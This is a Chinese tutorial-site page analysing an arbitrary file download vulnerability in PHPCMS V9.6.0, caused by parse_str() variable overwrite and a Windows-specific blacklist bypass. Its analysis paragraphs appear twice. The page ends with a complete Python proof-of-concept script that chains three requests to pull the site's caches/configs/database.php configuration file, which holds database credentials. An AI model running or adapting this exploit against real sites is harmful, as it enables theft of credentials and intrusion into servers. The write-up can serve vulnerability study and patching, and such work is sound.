您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSV9任意文件下载漏洞分析
元风2025-05-20phpcms教程已有人查阅
导读先来看看PHPCMS V9.6.0的任意下载还是和上次的注入一样,是个由parse_str() 函数引发的变量覆盖。
先来看看PHPCMS V9.6.0的任意下载还是和上次的注入一样,是个由parse_str() 函数引发的变量覆盖。
位于/phpv9.6.0/phpcms/modules/content/down.php 的init() 函数 第11-82行先是获取$a_k = trim($_GET['a_k']); 跟注入分析的时候一样就不多bb了,参数f就是要下载的文件值,继续执行,当遇到p72行
接着继续跟进:
接着就是对$a_l的值进行加密,返回$downurl。 当你点击下载的时候,触发download函数,
这时候的&a_k值是init()函数提供的,
之后进行到file_down()函数里面,位于 /phpv9.6.0/phpcms/libs/functions/global.func.php 第1195-1204行
读取$fulepath的内容,结束。
测试的时候有个坑,在windows中,windows把\ /当成了目录,但linux,对于\/并不会把他当做\。
poc:基于上次的修改下payload,凑合着用
位于/phpv9.6.0/phpcms/modules/content/down.php 的init() 函数 第11-82行先是获取$a_k = trim($_GET['a_k']); 跟注入分析的时候一样就不多bb了,参数f就是要下载的文件值,继续执行,当遇到p72行
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
可以看到利用黑名单的策略,但是在windows下有个坑。对于ph> ,在windows下得到的结果和php一样,这种特性造成了绕过,使得服务器上的文件得以下载。(我用的是mac,所以测试这个漏洞的时候,手动删除了php这个关键字来测试漏洞。)接着继续跟进:
if(preg_match('/(phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
下面有个if的判断,如果在$f中存在 http://,ftp:// 这些字符串 ,将返回TURE,如果存在 :\\ 字符串,将返回FALSE,但他用|| 连接而成,只要有一个TURE就能执行下面的内容。感觉这里可以放远程文件,没验证。(这里没验证,在download里面验证了)接着就是对$a_l的值进行加密,返回$downurl。 当你点击下载的时候,触发download函数,
这时候的&a_k值是init()函数提供的,
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false))
在106行的时候发现这句,对远程文件有个验证,如果存在:/这个字符串,就返回location:的内容 ,不进行后面的文件下载了。所以这里不能用远程文件,只能用相对路径。之后进行到file_down()函数里面,位于 /phpv9.6.0/phpcms/libs/functions/global.func.php 第1195-1204行
读取$fulepath的内容,结束。
测试的时候有个坑,在windows中,windows把\ /当成了目录,但linux,对于\/并不会把他当做\。
poc:基于上次的修改下payload,凑合着用
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me
import requests
import re
from urllib import quote
TIMEOUT = 3
def poc(url):
payload = "%26id%3D1%26m%3D1%26f%3Dcaches%252fconfigs%252fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26"
cookies = {}
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
for c in requests.get(step1, timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
break
else:
return False
step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
break
else:
return False
setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
print r.content
print poc('http://phpstudy.com/phpv9.6.0/')
本文标签:
很赞哦! ()
相关教程
图文教程
PHPCMSV9开发文档
内容模块PC标签调用说明模块名:content模块提供的可用操作操作名 说明lists 内容数据列表relation 内容相关文章hits 内容数据点击排行榜
phpcms实现动态价格实现方法代码示例
什么是动态价格(自命名)?--一般来说商品有个固定的价格,随着节假日或者促销活动可能会发生价格变化,结束后又恢复原价,如果每次价格变化都需要修改价格,那么不仅在时间上不好把握
phpcms全文检索功能实现集成sphinx的方法
sphinx是俄罗斯人开发的一个搜索引擎,基于c++编写,具有强大的检索能力,本身支持中文单个字符的检索,中文分词需要额外的插件Coreseek,但该插件已很久未更新
phpcms手机站制作方法
PHPCMS搭建PC端网站比较方便,但是在wap手机端方面却不怎么实用,而且自带的手机建站感觉不是很好,而且模版不好控制,现在对其进行修改。
相关源码
-
pbootcms模板(自适应)花店鲜花花卉园艺网站源码一款基于PbootCMS内核开发的花店鲜花配送与花卉园艺企业网站模板。该模板采用响应式设计,自动适配手机、平板等移动设备,确保用户在任何设备上都能获得优质浏览体验。查看源码 -
(自适应响应式)英文外贸电子产品手机配件网站pbootcms模板专业级外贸网站模板基于PbootCMS内核开发,为电子产品跨境贸易企业设计。采用响应式布局技术,确保电脑、平板、手机等设备访问时自动适配显示效果。数据实时同步管理,一次编辑全平台生效。查看源码 -
(PC+WAP)压缩机离心风机红色机械设备营销型网站pbootcms模板基于PbootCMS开发的压缩机/离心风机专用模板,助力机械设备企业构建高效营销平台;模板可编辑压缩机参数表、风机性能曲线等专业展示模块查看源码 -
(PC+WAP)绿色资源回收新能源环保设备pbootcms源码下载基于PbootCMS系统深度开发的环保行业模板,特别适配资源回收设备、新能源技术、环境治理装备等企业的线上展示需求。集成产品库、解决方案、环保案例等专业模块,助力企业高效传递绿色价值。查看源码 -
(自适应)大气壁挂炉暖气设备家用电器模板带加盟申请和下载资料为壁挂炉、暖气片等供暖设备企业设计的PbootCMS模板,通过响应式技术实现跨终端展示产品参数和技术细节。后台统一管理确保采暖系统数据、服务网点信息实时同步更新查看源码 -
帝国CMS游戏应用APP推广下载站模板免费下载本模板为移动应用推广、手机游戏推广行业设计,集成H5游戏平台与APP下载功能,支持PC端与移动端自适应访问。专注于为应用开发商、游戏发行商提供专业的线上推广展示平台。查看源码
| 分享笔记 (共有 篇笔记) |
